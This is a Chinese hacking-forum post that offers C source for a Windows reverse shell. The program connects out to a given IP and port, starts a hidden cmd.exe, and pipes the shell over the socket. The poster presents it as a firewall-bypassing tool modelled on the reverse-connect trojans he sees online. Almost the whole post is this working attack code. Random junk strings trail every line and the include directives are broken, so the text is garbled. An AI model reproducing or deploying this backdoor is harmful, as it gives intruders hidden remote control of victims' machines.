社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3652阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I-RdAVB/Ep  
ib5;f0Qa  
/* ============================== oV0LJ%  
Rebound port in Windows NT ga4/,   
By wind,2006/7 e%P+KX  
===============================*/ #6Efev  
#include _n-VgPRn  
#include 3q~":bpAp  
W0+gfg  
#pragma comment(lib,"wsock32.lib") 37j\D1Y  
mQwk!* U  
void OutputShell(); t9Enk!@  
SOCKET sClient; "D ts*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Wrf^O2  
_&k'j)rg  
void main(int argc,char **argv) 4A\BGD*5  
{ U^E  
WSADATA stWsaData; bE7(L $UF  
int nRet; )LXoey!aZ  
SOCKADDR_IN stSaiClient,stSaiServer; nx!qCgo  
e67c:Z  
if(argc != 3) AijPN  
{ =yk Rki  
printf("Useage:\n\rRebound DestIP DestPort\n"); R-r+=x&  
return; HGP%a1RF#  
} R9b/?*%=9  
@+0@BO1 2  
WSAStartup(MAKEWORD(2,2),&stWsaData); fZka%[B  
Wo:zU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u+2 xrzf  
Yv#J`b@y  
stSaiClient.sin_family = AF_INET; H(5S Kv5  
stSaiClient.sin_port = htons(0); }aHB$}"!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P?Gd}mdX?m  
`^X RrVX<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x'E'jh%  
{ [?|l X$<  
printf("Bind Socket Failed!\n"); lfU"SSQ  
return; N>&{Wl'y\  
} 8{}Pj  
ZI2K-z'e  
stSaiServer.sin_family = AF_INET; gmF_~"^34  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bo](n*i  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p`E|SNt/W  
>cwJl@wx-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <r_P? lZW  
{ >5Q^9 9V  
printf("Connect Error!"); xh+AZ3  
return; Xm"w,J&  
} L:t)$iF5+  
OutputShell(); *([0"  
} )V[w:=*  
yiv RpSL  
void OutputShell() n}AR/3}  
{ wf~5lpI[  
char szBuff[1024]; :,h=2a_ 8  
SECURITY_ATTRIBUTES stSecurityAttributes; {<- ouD  
OSVERSIONINFO stOsversionInfo; %8Z|/LGg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Pqr Ou  
STARTUPINFO stStartupInfo; 7':5  
char *szShell; 6SW|H"!!  
PROCESS_INFORMATION stProcessInformation; ND9 n1WZ&x  
unsigned long lBytesRead; u):%5F/  
CI~hmL0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wS F!Xx0  
#K<=xP  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K]H"qG.K  
stSecurityAttributes.lpSecurityDescriptor = 0; z. _C*c  
stSecurityAttributes.bInheritHandle = TRUE; ?{@!!te@3v  
Q8}TNJsU  
\jF" nl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1}n)J6m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %T&&x2p^=?  
uJ|5 Ve  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WL)_8!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UZ4tq  
stStartupInfo.wShowWindow = SW_HIDE; 4 BE:&A  
stStartupInfo.hStdInput = hReadPipe; {L-{Y<fke  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wRV`v$*6  
%mB!|'K%  
GetVersionEx(&stOsversionInfo); 8r`VbgI&  
=\ Tud-1Z  
switch(stOsversionInfo.dwPlatformId) M@!]U:5~V  
{ YWcui+4p}  
case 1: h|c:!VN@  
szShell = "command.com"; @mQ/W Ys  
break; Zi<Sw  
default: y0&V$uv/  
szShell = "cmd.exe";  |(J ?#?  
break; Sg_-OX@f  
} ~$y#(YbH  
oSu|Yn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y7;XOPm  
Gpxb_}P  
send(sClient,szMsg,77,0); O9qKwn;q(  
while(1) By"^ Z`EP4  
{ EvH(Po h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7b7%(  
if(lBytesRead) (_%JF[W  
{ #RLch  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q8DQ .C  
send(sClient,szBuff,lBytesRead,0); )'K!)?&d  
} d 40'3]/{  
else vZ_DG}n11  
{ |$.sB|_ N  
lBytesRead=recv(sClient,szBuff,1024,0); ZaNyNxbp>z  
if(lBytesRead<=0) break; 5Re`D|8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R uFu,H-  
} v:J.d5  
} eBYaq!t k  
T_oW)G  
return; 654jS!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五